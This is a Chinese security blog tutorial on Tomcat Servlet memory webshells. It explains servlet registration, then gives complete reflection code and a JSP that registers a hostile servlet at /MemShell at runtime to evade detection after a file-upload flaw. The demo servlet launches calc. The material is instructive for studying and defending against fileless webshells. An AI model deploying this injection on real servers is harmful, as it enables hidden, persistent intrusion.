当前位置: 首页 > news >正文

WEB安全--Java安全--Servlet内存马

一、知识补充

1.1、Servlet

Servlet 是sun公司开发动态web的一门技术

Servlet 在个人理解中就是一个接口,我们需要利用Servlet这个技术就得实现该接口,具体:

        编写一个类,实现Servlet接口

        把这个写好的类部署到web服务器(Tomcat)中,运行

1.2、Tomcat

Tomcat 是一个开源的 Java Web 应用服务器,类比 IIs、Nginx...

它主要用于运行由 Java 编写的 Servlet 和 JavaServer Pages (JSP) 应用程序

Tomcat可以容纳运行多个servlet

1.3、示例

编写一个HelloWorld类,实现Servlet接口

在web.xml文件中把我们的HelloWorld类动态注册进Tomcat中

启动Tomcat,访问我们注册时所定义的路径:/hello-servlet

二、Servlet内存马原理

2.1、思考

假如我们发现一个Tomcat的系统存在文件上传,并且能解析我们的jsp文件,为了防止安全设备的检测,注入内存马是一个很有效的手段。

那该怎么做呢?

Servlet内存马,顾名思义肯定是把我们的webshell写成一个恶意类继承Servlet接口,然后把这个恶意servlet动态注册到Tomcat服务器中。

将恶意类封装成jsp文件是很容易实现的,但是如何注册呢?

按上面的方式肯定是不现实的,我们不能直接编辑服务器的xml文件;但是有另一种方式注册我们的恶意servlet,我们可以参考Tomcat通过xml文件注册的流程,编写代码仿照它的形式实现注入servlet内存马

2.2、注册流程分析

Tomcat通过xml文件注册servlet对象

图一

Tomcat对servlet的封装处理

图二

由图一知道最初会进入ContextConfigure类中的configureContext()方法

configureContext(WebXml webxml)先接收注册传递的xml配置信息,封装成StandardContext,对应着下图的 this.context

xml配置信息:

为了使configureContext(WebXml webxml)也能接收到我们恶意类的信息,可以利用request对象,先获取一个ServletContext对象其中声明了applicationContext,然后再反射获取applicationContext中的StandardContext

//动态注册恶意servlet//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(applicationContext);

接着在拿到StandardContext后,会对其进行一系列的操作;

首先是封装成一个wrapper(参考图二),并且对其进行操作

Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());

此时我们将恶意类实例化

wrapper.setServlet(new MemServlet());

然后是将其放入Context中,并且定义访问的路由

context.addChild(wrapper);
context.addServletMappingDecoded("/MemShell","MemServlet");

这样就实现了一个普通的servlet的模拟注册

//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//仿造处理standardContext对象
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化恶意类
wrapper.setServlet(new MemServlet());
//添加到Context中
context.addChild(wrapper);
//仿造处理mapping路由
context.addServletMappingDecoded("/MemShell","MemServlet");

三、servlet内存马实现

3.1、构造恶意的jsp文件

将恶意类和模仿的注册流程封装成jsp文件

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.Writer" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--Created by IntelliJ IDEA.User: 86183Date: 2025/8/15Time: 11:22To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Title</title>
</head>
<body>
<%!public class MemServlet extends HttpServlet {private String message;public void init() {message = "Hello World!";}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {Runtime.getRuntime().exec("calc");}public void destroy() {}}
%><%ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("MemServlet");wrapper.setServletClass(MemServlet.class.getName());wrapper.setServlet(new MemServlet());context.addChild(wrapper);context.addServletMappingDecoded("/MemShell","MemServlet");
%>
</body>
</html>

3.2、动态加载内存马

运行Tomcat

由于Tomcat的惰性加载机制,我们上传的servlet不会被立刻加载到内存中;需要我们先访问恶意的jsp文件,他才会加载恶意servlet

此时再访问恶意servlet路径

http://www.xdnf.cn/news/1305091.html

相关文章:

  • 前端基础知识版本控制系列 - 01( 对版本管理的理解)
  • pyqt5无法显示opencv绘制文本和掩码信息
  • Map、Dictionary、Hash Table:到底该用哪一个?
  • 机械学习---- PCA 降维深度解析
  • 朗空量子与 Anolis OS 完成适配,龙蜥获得抗量子安全能力
  • redis-保姆级配置详解
  • 焊接机器人保护气体效率优化
  • 18- 网络编程
  • NAS播放器的新星,一站式全平台媒体库管理工具『Cinemore』体验
  • 文档对比(java-diff-utils)
  • HTML5新增属性
  • 【机器学习深度学习】OpenCompass 评测指标全解析:让大模型评估更科学
  • 从前端框架到GIS开发系列课程(26)在mapbox中实现地球自转效果,并添加点击事件增强地图交互性
  • 物联网(IoT)系统中,通信协议如何选择
  • 20250815在荣品RD-RK3588-MID开发板的Android13下调通TP芯片FT8206
  • 智慧零碳园区——解读2025 零碳产业园区实施路径规划【附全文阅读】
  • MqSQL中的《快照读》和《当前读》
  • SQL182 连续两次作答试卷的最大时间窗
  • C++第二十课:快递运费计算器 / 黑白配+石头剪刀布小游戏
  • Linux入门(十九)定时备份数据库
  • 第1篇_Go语言初探_环境搭建与HelloWorld
  • 802.11 Wi-Fi 竞争机制深度分析:CSMA/CA 与 DCF
  • 机器学习之PCA降维
  • Scrapy + Django爬虫可视化项目实战(二) 详细版
  • 轴机械臂cad【7张】三维图+设计说明书
  • 25.Linux 聚合链路与软件网桥
  • XXL-TOOL v2.0.0 发布 | Java工具类库
  • AI创业公司分析:Paloma
  • 自定义数据集(pytorchhuggingface)
  • SaltStack 基础